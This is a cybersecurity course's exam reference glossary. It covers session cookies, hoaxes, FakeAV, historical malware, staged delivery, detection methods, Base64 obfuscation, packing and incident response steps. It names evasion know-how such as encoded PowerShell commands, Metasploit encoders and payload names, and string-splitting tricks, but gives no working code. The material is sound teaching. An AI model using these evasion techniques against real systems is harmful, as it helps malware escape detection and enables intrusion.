A web cookie is a small piece of data stored by a web browser on behalf of a web server, sent with every subsequent request to that server. Cookies serve legitimate purposes: session management (keeping users logged in), personalisation, and tracking. In a security context, session cookies are the target — they contain the session token that authenticates a user to a web application. If stolen, the attacker can impersonate the user without needing their password.

WHY it matters: Session cookie theft is the mechanism behind session hijacking attacks. A cross-site scripting (XSS) vulnerability can be used to steal cookies via malicious JavaScript (document.cookie). A man-in-the-middle attacker on an unencrypted connection can read cookies in transit. A malware infection with filesystem access can read browser cookie databases directly. Once an attacker has a valid session cookie, they can authenticate to the application as the victim for the duration of that session.

Security attributes: HttpOnly flag — prevents JavaScript from accessing the cookie (mitigates XSS-based cookie theft). Secure flag — cookie only sent over HTTPS connections (prevents interception on plain HTTP). SameSite attribute — restricts cross-site cookie sending (mitigates CSRF attacks). Short expiry times limit the window of opportunity for stolen cookies.

Connection: Session hijacking is listed in the Social Engineering section of the course. XSS (OWASP A03 in the injection category, also related to A07 Identification and Authentication Failures) is the primary technical vector for cookie theft via malicious scripts. Cookies are relevant to the Privacy section (tracking cookies and GDPR consent requirements). Spyware that reads browser data can harvest session cookies and saved passwords.

Virus Hoax

A virus hoax is a false warning about a non-existent virus or threat, typically spread via email or social media, that convinces users to take unnecessary or actively harmful actions — such as deleting legitimate system files believed to be malware, forwarding the warning to others, or disabling security tools. The hoax itself causes harm through the actions it induces, not through any malicious code.

WHY it matters: Virus hoaxes exploit the same fear and urgency psychological triggers as real malware warnings. A convincing hoax describing a terrifying virus with dramatic consequences gets forwarded because recipients want to warn their contacts. Some hoaxes instruct users to delete critical system files (e.g., "delete jdbgmgr.exe — it is a virus!" — jdbgmgr.exe was a legitimate Windows debugging file), causing actual system damage through user action without any malware being involved.

The hoax mechanism is social engineering, not technical exploitation. It relies on: authority (appears to come from reputable sources), fear (describes severe consequences), urgency (act immediately), and social proof (your friend sent it, so it must be real). The damage is the disruption caused by the response to the false warning.

Connection: Virus hoaxes are an example of Social Engineering without any technical component. They use Fear and Urgency as the primary persuasion technique. Rogue Software/FakeAV is the monetised evolution of the same fear vector — instead of just causing panic, it charges money to "remove" the fictional threat.

Fake Antivirus / Scareware / FakeAV

Fake antivirus (also called scareware or FakeAV) is rogue software that presents itself as a legitimate antivirus product, displays alarming (fabricated) warnings about virus infections, and demands payment to "remove" the non-existent threats. It exploits the user's fear of malware to extract money or install additional malicious software. MacDefender is the course example — a macOS FakeAV that appeared after malicious search engine optimisation placed it in Google results for legitimate searches.

WHY it matters: FakeAV is effective because it arrives in a context where the user is already concerned about security. Someone who has just seen a pop-up claiming their machine has 47

viruses is already afraid — the FakeAV exploits that fear. Once installed, FakeAV may: demand credit card payment for a licence (financial fraud), install additional malware (the FakeAV is a trojan dropper), disable real security software, and resist removal.

How it spreads: Drive-by download from compromised or malicious websites. Malicious search engine results (SEO poisoning) directing users to fake AV download pages. Pop-up advertisements on legitimate sites (malvertising). Social engineering via phone (tech support scams follow the same model — caller claims to have detected viruses on your machine).

Connection: MacDefender is explicitly named in the course as a FakeAV example. FakeAV uses Fear and Urgency as its primary persuasion technique — the same as Virus Hoaxes, but with a monetisation layer. It is a Trojan Horse — the user installs it voluntarily believing it is protective software. Rogue Software is listed as a broader term covering FakeAV and similar deceptive software categories.

Virus Creation Toolkit

A virus creation toolkit (also called a malware construction kit or malware builder) is a software tool that allows users with little or no programming knowledge to create functional malware by configuring options — target platform, payload type, propagation method, evasion settings — and generating a working malicious executable. Examples include classic tools like VCS (Virus Creation Studio) and modern equivalents like crimeware kits sold on dark web markets.

WHY it matters: Virus creation toolkits are the primary reason the script kiddie threat level is significant. Without such tools, creating effective malware requires substantial programming skill. With a toolkit, a non-technical actor can generate a functional, customised piece of malware in minutes. This democratisation of malware creation directly raises the overall threat level — the number of actors who can deploy malware increases dramatically when technical skill is no longer a barrier.

Modern equivalents: Ransomware-as-a-Service (RaaS) platforms are the current evolution — they provide a complete toolkit and infrastructure (C2 servers, payment processing, customer support) in exchange for a percentage of ransom payments. MSFvenom is, from a certain angle, a virus creation toolkit for penetration testers — it generates functional payloads with selectable options.

Connection: The Exploit Database and Metasploit modules serve a similar capability-democratisation function for exploitation that toolkits serve for malware creation. Script kiddies are the primary users of malware toolkits. The existence of toolkits and RaaS platforms is why the barrier to entry for ransomware attacks is now financial (buying access) rather than technical.

Morris Worm (first internet worm)

The Morris Worm was the first worm to spread widely across the internet, released on November 2, 1988 by Robert Tappan Morris (then a Cornell University graduate student). It exploited three vulnerabilities simultaneously: a buffer overflow in fingerd, a debug backdoor in sendmail, and a weakness in rsh/rexec trust relationships. It was not designed to cause damage, but due to a design flaw it reinfected systems repeatedly, causing significant slowdowns and crashes across approximately 6,000 machines — a substantial fraction of the then-small internet.

WHY it matters: The Morris Worm was the first demonstration that self-propagating code could cause widespread internet disruption with no human involvement beyond the initial release. It directly led to the creation of the first Computer Emergency Response Team (CERT/CC) at

Carnegie Mellon University, and influenced the Computer Fraud and Abuse Act. Morris was the first person convicted under that act. It established the entire category of worm as a threat.

The worm exploited the same class of vulnerabilities that are still exploited today: buffer overflows, trust relationships between systems, and service misconfiguration. Its multi-exploit approach — using three different vulnerabilities simultaneously — mirrors modern malware that maintains multiple infection paths.

Connection: The Morris Worm is the origin case for worm propagation as a threat. `rsh` and `rexec` (ports 512, 513, 514) are listed in the Lab-Derived Terms section as legacy services found on Metasploitable 2 with Critical/High CVSS scores — they represent exactly the class of trust-based services the Morris Worm exploited. Buffer overflows (exploited via `fingerd`) remain one of the most significant vulnerability classes (CWE-120).

AIDS Trojan (first ransomware, 1989)

The AIDS Trojan (also called the PC Cyborg Trojan) was the first known ransomware, created by Dr. Joseph Popp and distributed in 1989 via 20,000 floppy disks mailed to attendees of a World Health Organization AIDS conference. The disks appeared to contain an AIDS information program. After a computer was booted a certain number of times, the trojan would hide directories and encrypt filenames on the hard drive, then display a demand for payment (sent to a PO box in Panama) to restore access.

WHY it matters: The AIDS Trojan established the ransomware model 35 years before it became the dominant cybercrime category. Its key elements — trojan delivery, encryption of user data, demand for payment, and anonymised payment mechanism — are identical to modern ransomware. The technical implementation was relatively weak (symmetric encryption with a key recoverable from the program itself), but the extortion concept was entirely novel.

Dr. Popp was arrested and deemed unfit to stand trial. The case raised early questions about computer crime law that were not yet well-defined in 1989.

Connection: The AIDS Trojan is the historical origin point for ransomware. CryptoLocker (2013) and CryptoWall are the modern evolution, using strong asymmetric encryption to make decryption without the key cryptographically infeasible. The Trojan Horse delivery mechanism (floppy disk disguised as useful software) is identical in concept to modern phishing-delivered ransomware. The payment anonymity problem — Popp used a PO box; modern ransomware uses cryptocurrency — has been "solved" by attackers through Bitcoin/Monero.

CryptoLocker

CryptoLocker was a ransomware trojan that operated from approximately September 2013 to May 2014, when it was taken down in Operation Tovar (a coordinated law enforcement and industry action). It spread primarily via phishing emails with malicious attachments and the GameOver ZeuS botnet. Upon infection, it used RSA-2048 asymmetric encryption for the key exchange, making decryption without the private key computationally infeasible. It demanded payment in Bitcoin or prepaid vouchers within a time window, after which the private key would supposedly be deleted.

WHY it matters: CryptoLocker was the first widely successful modern ransomware campaign, demonstrating that strong cryptography combined with anonymous payment (Bitcoin) created an effective, near-unstoppable extortion model. It infected an estimated 500,000 machines and extorted millions of dollars. It established the template that all subsequent ransomware families follow. Operation Tovar recovered the private keys, enabling free decryption for victims — but

this was exceptional; most ransomware takedowns do not yield keys.

The innovation over the AIDS Trojan: RSA-2048 meant the encryption was genuinely strong — there was no practical way to recover files without the key. The Bitcoin payment mechanism provided the anonymity that the AIDS Trojan's PO box lacked.

Connection: CryptoLocker is the model for CryptoWall and all subsequent ransomware families. It demonstrates why Backups (especially offline backups not reachable by the malware) are the critical defence — victims with clean backups could restore without paying. It also demonstrates why cryptocurrency matters to cybercrime — it solved the anonymous payment problem that previously constrained ransomware operators.

CryptoWall

CryptoWall was a ransomware family that emerged in 2014 as a successor and competitor to CryptoLocker, operating through multiple versions (CryptoWall 2.0, 3.0, 4.0) through 2015–2016. It used strong RSA encryption (like CryptoLocker), demanded Bitcoin payment, communicated via the Tor anonymity network for C2 (making infrastructure takedown harder), and was distributed through multiple vectors including malvertising, exploit kits (drive-by downloads), and phishing. CryptoWall 3.0 alone caused an estimated \$325 million in damages according to the FBI.

WHY it matters: CryptoWall demonstrated that ransomware was evolving rapidly — each version added capabilities (Tor C2, improved evasion, multi-vector distribution) that made it harder to take down or attribute. Its scale of damage and distribution through exploit kits (which required no user action beyond visiting a compromised website) illustrated that ransomware had become a full professional criminal enterprise.

CryptoWall's use of Tor for command and control introduced a model that all sophisticated ransomware now uses — C2 infrastructure hidden in anonymity networks is extremely difficult to take down and impossible to attribute to specific individuals without other investigative methods.

Connection: CryptoWall and CryptoLocker are the course's primary historical ransomware case studies, bridging the AIDS Trojan (first ransomware, 1989) and modern Ransomware-as-a-Service operations like LockBit and REvil. Both illustrate the core lesson: strong encryption + anonymous payment + wide distribution = effective extortion. Backups and offline storage are the answer on the defence side.

Staged Delivery (macro -> download actual payload)

Staged delivery is a malware delivery technique in which the initial infection component (the first stage) is small, simple, and designed only to establish a foothold and download the actual malicious payload (the second stage) from an attacker-controlled server. The classic course example is a macro in a Word document that, when enabled, downloads and executes the real malware — a Meterpreter agent, ransomware, or RAT — from the internet.

WHY it matters: Staged delivery separates the detectable part (the macro or downloader) from the powerful part (the payload). The first stage is deliberately minimal — small enough to evade detection, generic enough not to match specific malware signatures. The actual payload is only retrieved at execution time, meaning it does not exist on the victim's machine until the moment of infection, and can be changed by the attacker at any time to serve a different payload or a freshly encoded variant.

The staging model also applies to Metasploit payloads: staged payloads (indicated by / in the name, e.g., windows/meterpreter/reverse_tcp) send a small stager first, which connects back and downloads the full Meterpreter agent in a second stage. Stageless payloads (indicated by _ in the name) embed everything in one package.

Connection: Staged delivery is directly connected to Macro Viruses (the first stage delivery mechanism), to MSFvenom staged payloads (the same architectural concept in pen testing), and to drive-by downloads (where the first stage is a browser exploit that downloads the payload). It explains why blocking outbound connections from workstations to unexpected internet destinations (egress filtering) is an effective defence — it disrupts the second stage download even when the first stage has succeeded.

MacDefender

MacDefender was a Fake Antivirus (FakeAV/scareware) program targeting macOS users, active in 2011. It spread via malicious search engine results (SEO poisoning) — users searching for legitimate topics would be directed to pages that displayed fake virus alerts and prompted them to download MacDefender as protection. Once installed, it displayed persistent, alarming pop-ups claiming the Mac was infected and directed users to enter credit card details to purchase the "full version" for removal.

WHY it matters: MacDefender challenged the widely held belief at the time that Macs were immune to malware. It demonstrated that macOS users are susceptible to social engineering-based malware delivery in exactly the same way as Windows users. The threat was not a sophisticated exploit but simple deception — the same FakeAV model that had targeted Windows users for years. Apple had to release a software update to detect and remove it.

MacDefender's delivery mechanism — SEO poisoning combined with a fake security alert — is still used today for distributing adware, browser hijackers, and worse. The fundamental technique (appearing in Google results for legitimate searches and presenting a convincing alert) exploits user trust in both search engines and security warnings.

Connection: MacDefender is listed as the course's named example for Fake Antivirus / Scareware / FakeAV. It uses Fear and Urgency as persuasion techniques. It is a Trojan Horse — users voluntarily install it believing it is protective. The MacDefender incident is also cited in the Rogue Software definition in the Core Security Concepts section of the original document.

Ghidra (NSA reverse engineering tool)

Ghidra is a free, open-source software reverse engineering (SRE) framework developed by the NSA (National Security Agency) and released publicly in 2019. It disassembles and decompiles binary executables — translating machine code back into assembly language and pseudo-C source code — enabling analysts to understand what a compiled program does without access to the original source code. It supports a wide range of processor architectures and executable formats (PE, ELF, Mach-O, etc.) and includes a scriptable analysis engine.

WHY it matters: Malware analysis requires understanding what a binary executable does. Ghidra allows a security researcher to take a malware sample — a binary blob with no documentation — and reconstruct its logic: what functions it calls, what data it accesses, what network connections it makes, what persistence mechanisms it uses. This analysis produces the intelligence needed to write detection signatures, understand the threat's capabilities, and develop countermeasures.

Ghidra competes with and complements IDA Pro (the commercial industry standard, expensive) and Binary Ninja. Its free availability has democratised binary analysis significantly — the same

capability that previously required expensive commercial tools is now freely accessible.

Connection: Ghidra is used to analyse malware from repositories like theZoo and MalwareBazaar. It is the analytical tool for understanding armored malware, polymorphic malware, and obfuscated/packed binaries. Packing and obfuscation are specifically designed to make Ghidra analysis harder — the analyst must first unpack/deobfuscate before the meaningful decompilation can occur. In a legal, isolated lab environment (the course principle), Ghidra is used to study malware samples safely.

theZoo (malware repository)

theZoo (also known as Malware DB) is a publicly accessible GitHub repository containing live malware samples — actual, functional malicious code — collected and organised for the purpose of security research, education, and tool testing. It contains viruses, worms, trojans, ransomware, and other categories, often including historically significant samples like the original Zeus banking trojan, WannaCry, and Mirai.

WHY it matters: Security researchers, antivirus developers, and students need access to actual malware samples to study behaviour, develop detection signatures, test defensive tools, and understand how specific malware families work. theZoo provides a curated, categorised source of samples in a format accessible to the security community. Without access to real samples, malware analysis is purely theoretical.

Critical safety note: theZoo contains live, functional malware. Samples must only be analysed in isolated, air-gapped virtual machine environments with no network access to real systems. Executing malware samples outside a controlled environment causes real infections. The course principle of "legal, isolated environment" applies absolutely here.

Connection: theZoo is listed alongside MalwareBazaar as a malware repository in the course. Ghidra is the analysis tool used to examine samples from these repositories. The same principle that governs using TryHackMe/HackTheBox for offensive practice applies to malware repositories — authorised, isolated, for educational purposes only.

MalwareBazaar (malware repository)

MalwareBazaar is a free, publicly accessible malware sample sharing platform operated by Abuse.ch, a Swiss security research project. It provides a searchable database of malware samples submitted by the security community, tagged by malware family, file type, signature, and associated indicators of compromise (IOCs) such as hashes, C2 domains, and network signatures. It is specifically designed as a professional threat intelligence resource.

WHY it matters: MalwareBazaar serves a similar purpose to theZoo but with a more structured, professionally oriented interface. The IOC data associated with each sample (hashes, network indicators) can be directly integrated into SIEM rules, IDS signatures, and threat hunting queries. This makes it not just a sample repository but a threat intelligence feed. Security operations teams use it to check whether a suspicious file they have encountered is a known malware family.

Distinction from theZoo: theZoo is a GitHub repository with historical and notable samples; MalwareBazaar is a live, continuously updated platform with current threats, submission tracking, and structured IOC data. Both require the same safety precautions for any sample execution.

Connection: MalwareBazaar is the more operationally relevant of the two repositories for current threat intelligence. Wazuh (SIEM/XDR) can be configured to check file hashes against

MalwareBazaar's database as part of file integrity monitoring. The IOCs from MalwareBazaar directly feed Snort/Suricata rules and SIEM correlation. Ghidra is used to analyse samples obtained from either repository.

Signature-Based Detection

Signature-based detection identifies malware by matching patterns — byte sequences, file hashes, strings, or structural characteristics — against a database of known malware signatures. Every known piece of malware has a unique signature (or a set of signatures for its variants); when a file or network stream matches a signature, an alert fires or the file is quarantined. This is the foundational detection method for antivirus and IDS/IPS systems.

WHY it matters: Signature-based detection is fast, reliable, and generates very low false positive rates for known threats. It is highly explainable — when it fires, you can point to exactly which signature matched. For known malware families and CVEs with public exploit code, signature detection is extremely effective.

Critical limitation: Signature detection only catches what it knows about. A zero-day exploit, a novel malware family, a polymorphic variant with a mutated byte sequence, or a custom-written tool will not match any signature and will pass through undetected. This is described in the IDS section as "susceptible to unknown attacks." This fundamental limitation drives the development of heuristic and behavioural detection as complementary approaches.

Connection: Signature detection is used by antivirus (file scanning), IDS/IPS (Snort/Suricata rule matching), and email gateways. Polymorphic malware and metamorphic malware are specifically designed to defeat signature detection. Encoders in Metasploit (`shikata_ga_nai`) change the payload's byte sequence to evade signature-based AV. The Exploit Database and MalwareBazaar provide the raw material from which new signatures are derived. Updating signatures (keeping the AV database current) is essential — a signature database that is weeks old may not detect recent threats.

Heuristic Detection

Heuristic detection identifies potentially malicious software by analysing its structure, code patterns, and static characteristics against a set of rules derived from the properties commonly seen in malware — without requiring an exact signature match. Instead of "this file matches known malware X", it reasons "this file has characteristics (encrypted payload, self-modifying code, suspicious API calls, anomalous PE header) that are common in malware".

WHY it matters: Heuristic detection can catch variants of known malware families and some novel threats that signature detection would miss. It bridges the gap between "known bad" (signature detection) and "completely unknown" (which only behavioural detection addresses). It enables detection of malware that has been slightly modified to evade signature matching, or new malware from a known family that follows recognisable construction patterns.

Trade-off: Heuristic detection generates more false positives than signature detection because legitimate software sometimes has characteristics that resemble malware — a compiler that modifies its own output, an installer that writes executable files, a game that uses encryption. Tuning heuristic engines to minimise false positives while maintaining sensitivity is an ongoing challenge.

Connection: Heuristic detection sits between signature detection (exact matching, low false positives, misses unknowns) and behavioural detection (runtime analysis, catches unknowns, requires execution). Modern antivirus products layer all three approaches. Heuristic detection is

effective against Polymorphic Malware because even when the byte sequence changes, the structural patterns (encrypted body + mutation engine + similar decryptor logic) remain recognisable.

Behavioral Detection

Behavioural detection monitors the runtime behaviour of software — what system calls it makes, what files it reads or writes, what network connections it establishes, what processes it spawns, what registry keys it modifies — and identifies malicious activity based on what the software actually does rather than what it looks like. It requires the code to execute (at least partially) before detection occurs.

WHY it matters: Behavioural detection is the most robust approach against evasion. No matter how well a piece of malware is obfuscated, packed, polymorphic, or armored at the static level, it must eventually perform its malicious actions — encrypt files, establish a C2 connection, dump credentials, inject into a process. These actions are detectable at runtime regardless of how the code was delivered. Behavioural detection is why "no AV bypass technique is complete" — you can hide the file but not the behaviour.

Implementation: Sandboxing (executing suspicious files in a monitored, isolated environment and observing behaviour — used by email gateways and cloud AV platforms). EDR (Endpoint Detection and Response) agents that monitor all process activity on live systems and alert on suspicious behaviour patterns. HIDS agents (Wazuh) that watch for suspicious file modifications, process spawning, and privilege changes.

Connection: Behavioural detection is the countermeasure to evasion techniques including polymorphic malware, packing, obfuscation, and encoding (Metasploit encoders). Wazuh implements behavioural detection through its agent-based monitoring. Memory-resident malware is specifically designed to have minimal on-disk presence precisely to force reliance on behavioural detection, which must then catch it in memory. In the IDS context, anomaly detection is the network-level equivalent of behavioural detection.

Antivirus

Antivirus (AV) software is the primary endpoint security control for detecting, blocking, and removing malware on individual computers. Modern antivirus combines signature-based detection, heuristic analysis, and behavioural monitoring in a single product. It operates as a real-time monitor (scanning files on access, processes on execution, network traffic in transit) and as an on-demand scanner (scanning the entire filesystem when requested).

WHY it matters: Antivirus is the most widely deployed endpoint security tool and represents the first line of defence against commodity malware. However, its effectiveness against advanced threats is limited — sophisticated attackers routinely evade AV using packing, encoding, polymorphism, and memory-only execution. This is why EDR (Extended Detection and Response) has become the enterprise standard, adding behavioural detection, memory scanning, and threat hunting capabilities on top of traditional AV signatures.

Limitations: Signature databases require continuous updates — a machine with outdated signatures is vulnerable to threats discovered since the last update. Polymorphic and metamorphic malware defeat static signatures. Packed and obfuscated malware can bypass heuristic detection. Memory-resident malware avoids file-based scanning entirely. Evasion modules in Metasploit are specifically designed to defeat AV detection.

Connection: Antivirus is listed in the Security Activity Map context alongside SIEM and XDR as endpoint security tools. The `post/windows/gather/enum_applications` module identifies installed AV/EDR products on a compromised machine — a critical step for attackers planning evasion. Fake Antivirus (FakeAV) exploits user trust in AV software specifically. The three detection methods (signature, heuristic, behavioural) describe the evolution of antivirus from purely signature-based to multi-layered detection.

Base64 (obfuscation example)

Base64 is an encoding scheme that converts binary data into a string of ASCII characters using a 64-character alphabet (A-Z, a-z, 0-9, +, /). It is not encryption — it provides no confidentiality and is trivially reversible — but it transforms data into a format that obscures its meaning from casual inspection and can bypass simple pattern-matching filters that look for known malicious strings in their original form.

WHY it matters in the malware context: Attackers use Base64 to obfuscate malicious payloads, commands, and scripts. A PowerShell command that downloads and executes a Meterpreter payload, encoded in Base64 and passed to PowerShell's `-EncodedCommand` parameter, does not contain the recognisable strings (like "DownloadString" or "IEX") that simple signature rules might match. Many email gateways, web proxies, and endpoint tools look for suspicious keywords — Base64 encoding hides those keywords from string-matching filters.

Example: `powershell -EncodedCommand` is a standard technique for delivering obfuscated PowerShell payloads. The Base64 string itself looks like random gibberish to a human reviewer, though any Base64 decoder trivially reveals the content.

Connection: Base64 is the simplest example of Obfuscation (the next term). It is specifically listed in the course as an obfuscation example. MSFvenom payload encoding uses Base64 as part of encoder chains. In the context of Staged Delivery, the first-stage macro may use Base64 to encode the URL or command used to download the second-stage payload, evading URL-pattern detection.

Obfuscation

Obfuscation is the deliberate transformation of code, data, or communications to make it harder to understand, analyse, or detect — without changing the underlying functionality. In the malware context, obfuscation makes malicious code unrecognisable to signature-based scanners and harder to reverse engineer. Obfuscation is not the same as encryption (which requires a key to reverse) — obfuscated code can always be deobfuscated, but doing so requires effort.

WHY it matters: Obfuscation directly attacks the effectiveness of signature-based detection. If the malicious strings, function names, or byte sequences that identify a piece of malware are transformed into unrecognisable forms, signatures no longer match. Obfuscation is therefore one of the primary defence evasion techniques in MITRE ATT&CK.;

Obfuscation techniques: String encoding (Base64, XOR, hex encoding of suspicious strings). Variable and function name randomisation (renaming "DownloadPayload" to "a1b2c3"). Junk code insertion (adding meaningless instructions between meaningful ones). Control flow flattening (restructuring the logical flow of code to make it hard to follow). Dead code insertion (code that never executes but confuses analysis tools). String concatenation (splitting suspicious strings into pieces joined at runtime: "Down" + "load" + "String").

Connection: Obfuscation is the category; Base64 is one specific technique within it. Packing is a related but distinct technique. Armored malware uses obfuscation as one of its evasion

components. Ghidra is the tool used to work through obfuscated binaries during malware analysis. Behavioural detection is the countermeasure to obfuscation — the code must eventually deobfuscate and behave maliciously, at which point runtime monitoring detects it.

Packing

Packing is a technique that compresses and/or encrypts an executable file and wraps it in a small stub program (the unpacker/loader) that decompresses or decrypts the original code at runtime and executes it in memory. The result is a packed file whose contents are unreadable until execution — the malicious code is hidden inside an encrypted or compressed blob that only reveals itself when run.

WHY it matters: Packing defeats static analysis and signature-based detection in two ways. First, the packed file's byte content is entirely different from the unpacked executable — no static signature of the original malicious code will match the packed binary. Second, because the code is only present in its original form in memory during execution, file-based scanning tools never see it. Packing is therefore a primary technique for making known malware samples undetectable by AV.

Tools: UPX (Ultimate Packer for eXecutables) is a widely used legitimate packer (for reducing file size) that is frequently abused by malware authors. Custom packers with encryption are more effective against AV than UPX (whose packing signature is well-known). The MSFvenom -e flag (encoder) performs a simplified version of packing.

Connection: Packing is related to but distinct from Obfuscation — packing wraps the entire executable in a compression/encryption shell; obfuscation transforms the code itself. Both are evasion techniques targeting signature and static analysis. Ghidra analysis of packed malware requires first identifying and defeating the unpacker stub to access the real code. Behavioural detection catches packed malware at the point of unpacking and execution. The evasion modules in Metasploit combine packing and encoding concepts.

■ INCIDENT RESPONSE

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

Incident Response

Incident Response (IR) is the structured, organised process an organisation follows when a security incident is detected — from the moment something suspicious is identified through containment, investigation, recovery, and post-incident review. The goal is to limit damage, restore normal operations as quickly as possible, preserve evidence for forensic use, and learn from the event to prevent recurrence. IR is not a single action but a cycle of coordinated steps, usually defined in an Incident Response Plan (IRP) prepared in advance.

WHY it matters: Without a plan, organisations improvise under pressure — the worst possible time to make critical decisions. A pre-defined IR process ensures the right people do the right things in the right order. It also determines whether evidence is preserved properly for legal or regulatory purposes, and whether the breach notification clock (GDPR Article 33: 72 hours) is met.

The standard IR phases in this course are: Verification → Interpretation → Scope Assessment → Classification and Prioritization → Forensics / Evidence Preservation → Restore Operations → Communication. These may overlap or iterate; a real incident rarely follows a perfectly linear path.

Connection: IR is one of the six Security Activity Map entries in the course alongside Vulnerability Assessment, Penetration Testing, Threat Modeling, Security Monitoring, and Hardening. NIS2 legally requires covered organisations to have incident handling processes. GDPR Article 33 drives the 72-hour notification requirement. SIEM platforms (Wazuh, Splunk) feed the detection side of IR. MITRE ATT&CK; maps the attacker behaviours IR teams are trying to detect and contain. Blue Team operations are the day-to-day expression of IR readiness.

Verification (IR step)

Verification is the first step of Incident Response: confirming that what has been flagged is a genuine security incident and not a false alarm, a technical malfunction, a misconfiguration, or a routine anomaly. Before mobilising the full IR process, the team must determine that something real and security-relevant has actually happened.

WHY it matters: Incident response consumes significant resources — senior staff time, potential service disruption, legal and communication obligations. Triggering the full IR process for every IDS alert or help-desk complaint is unsustainable and leads to alert fatigue. Verification ensures effort is directed only at confirmed or credible incidents.

How verification works in practice: The initial detection signal (IDS alert, SIEM correlation rule, user complaint, automated monitoring alarm) is triaged by a first responder. They check whether the alert is consistent with known-good activity, whether the affected system shows corroborating signs (unexpected processes, unusual outbound connections, modified files), and whether there is independent evidence supporting the alert. A Nmap scan detected by Snort might be a legitimate pen test already in the Rules of Engagement — verification catches this before escalation.

Connection: Verification relies on SIEM, IDS/IPS output, and host-level logs (HIDS). The QoD (Quality of Detection) concept from GVM/OpenVAS is analogous — higher-confidence signals require less manual verification. False positives from signature-based IDS are the main reason

verification is necessary as a distinct step. Once an incident is verified, it moves to Interpretation.

Interpretation (IR step)

Interpretation is the IR step in which the verified incident is analysed to understand what has actually happened: what systems are involved, what the attacker did or is doing, what vulnerability or entry point was used, and what the likely objective is. Where Verification asks "is this real?", Interpretation asks "what does it mean?".

WHY it matters: The right response depends entirely on understanding the incident. A ransomware outbreak requires different immediate actions than a credential-stuffing campaign against a web application. Misinterpreting an incident — treating a worm as a one-host compromise, for example — leads to an incomplete response and re-compromise.

What interpretation involves: Correlating evidence from multiple sources (network logs, endpoint logs, SIEM alerts, vulnerability scan history, firewall logs). Identifying the initial entry point (initial access in MITRE ATT&CK; terms). Tracing attacker activity across the kill chain — initial access, execution, persistence, privilege escalation, lateral movement. Understanding what data or systems may have been accessed, modified, or exfiltrated. Building a timeline of events.

Connection: Interpretation is where MITRE ATT&CK; is most directly useful — mapping observed behaviours to known tactics and techniques helps analysts understand what has happened and predict what may come next. Zeek's rich protocol logs and Wazuh's correlated alerts are primary interpretation tools. Interpretation outputs directly feed Scope Assessment (how far has this spread?) and Classification (how serious is this?).

Scope Assessment (IR step)

Scope Assessment is the IR step in which responders determine the full extent of the incident: how many systems are affected, what data may be at risk, whether the attacker has moved laterally, whether persistence mechanisms have been installed, and whether the incident is still ongoing. It answers the question: "How far does this go?".

WHY it matters: Containing an incident without understanding its full scope leads to incomplete remediation. If a single compromised host is reimaged while the attacker still has access via a second compromised machine or a persistent backdoor on a third, the organisation remains at risk. Scope assessment prevents premature "all clear" declarations.

How scope assessment works: Network traffic analysis (what has the compromised host communicated with?), endpoint investigation (are there other hosts showing similar indicators of compromise?), credential audit (have harvested credentials been used elsewhere?), log analysis across all potentially affected systems. The Meterpreter arp and netstat commands in a post-exploitation context are exactly what an attacker uses to assess scope — responders do the same thing from the defender's side.

Connection: Scope assessment directly informs Classification and Prioritization (a single-host incident is lower priority than an enterprise-wide worm). It also determines the evidence preservation workload and the scale of the Restore Operations phase. Post-exploitation modules like post/linux/gather/enum_network perform the attacker-side equivalent of scope assessment. In GDPR terms, scope assessment determines whether personal data was accessed — which determines whether the 72-hour breach notification obligation is triggered.

Classification and Prioritization (IR step)

Classification is the process of categorising the confirmed, interpreted, and scoped incident according to its type, severity, and potential impact. Prioritization is the process of deciding the urgency and order of response actions based on that classification. Together they ensure that the most damaging, most urgent incidents receive the most immediate and intensive response.

WHY it matters: Not all incidents are equal. A ransomware infection encrypting production databases demands immediate all-hands response; a single phishing email that was not clicked can be handled during business hours. Without classification and prioritization, IR teams apply the same level of effort to every event — either over-responding to minor issues or under-responding to critical ones.

Classification dimensions typically include: type (malware, data breach, DDoS, insider threat, unauthorised access), severity (critical/high/medium/low — often mapping to CVSS-style impact ratings), affected asset value (production system vs test server), data sensitivity (PII, payment data, health records), and business impact (revenue loss, reputational damage, regulatory exposure). Prioritization then determines: who responds, at what speed, with what authority to make decisions.

Connection: CVSS score bands (Critical 9–10, High 7–8.9, Medium 4–6.9, Low 0.1–3.9) provide a ready-made severity vocabulary applicable to incident classification. GDPR Article 33 effectively imposes a classification rule: incidents involving personal data that risk rights and freedoms must be classified as requiring breach notification. NIS2 requires essential entities to have incident classification schemes. The Principle of Proportionality applies — response effort should match incident severity.

Forensics / Evidence Preservation

Digital forensics in the IR context refers to the collection, preservation, and analysis of digital evidence from affected systems in a manner that maintains its integrity and ensures it can be used for legal proceedings, regulatory investigations, or internal accountability. Evidence preservation is the discipline of ensuring nothing is altered, deleted, or contaminated from the moment an incident is detected.

WHY it matters: Evidence that is not properly preserved cannot be used in court or regulatory proceedings. Chain-of-custody failures can invalidate otherwise solid evidence. More immediately, forensic analysis tells you exactly what the attacker did — critical for complete remediation, understanding the full scope, and preventing recurrence. Without forensics, the organisation is guessing at what happened.

Key forensic principles: Collect before touching — create forensic images (bit-for-bit copies) of affected disks before any remediation. Preserve memory — volatile data (RAM contents, running processes, network connections) is lost on reboot; live memory acquisition captures it. Maintain chain of custody — document who collected what, when, how, and where it has been stored since. Write-protect original evidence — analysis is done on copies, never on originals. Log everything — the IR team's own actions during the investigation are documented.

Tools and artefacts: Memory dumps (volatile — lost on shutdown), disk images, network packet captures (Wireshark/Zeek logs), system logs, SIEM event data, browser history, registry snapshots (Windows), /etc/shadow, /etc/passwd, crontab entries, authorized_keys files, bash history, and Meterpreter session logs from the attacker's side.

Connection: Evidence Protection in penetration testing (the ethical constraint) is the mirror concept — just as a pen tester must protect collected data, IR teams must protect collected

evidence. Backups are relevant to forensics because they may contain clean pre-incident snapshots for comparison. GDPR requires that evidence of a data breach be retained to demonstrate compliance with breach notification obligations. The Evidence Chain term (below) defines the procedural standard for how evidence is handled.

Restore Operations (IR step)

Restore Operations is the IR step in which affected systems are cleaned, rebuilt, or recovered from clean backups, and normal business operations are resumed. It comes after evidence preservation — you must collect forensic evidence before wiping or reimaging, or the evidence is destroyed along with the malware.

WHY it matters: The ultimate goal of IR is to return the organisation to a secure operational state. All investigation and containment steps exist to serve this outcome. Restore Operations must be done correctly to avoid re-infection: restoring from a backup taken after the attacker gained access simply restores the compromise; rebuilding without removing all persistence mechanisms leaves backdoors in place.

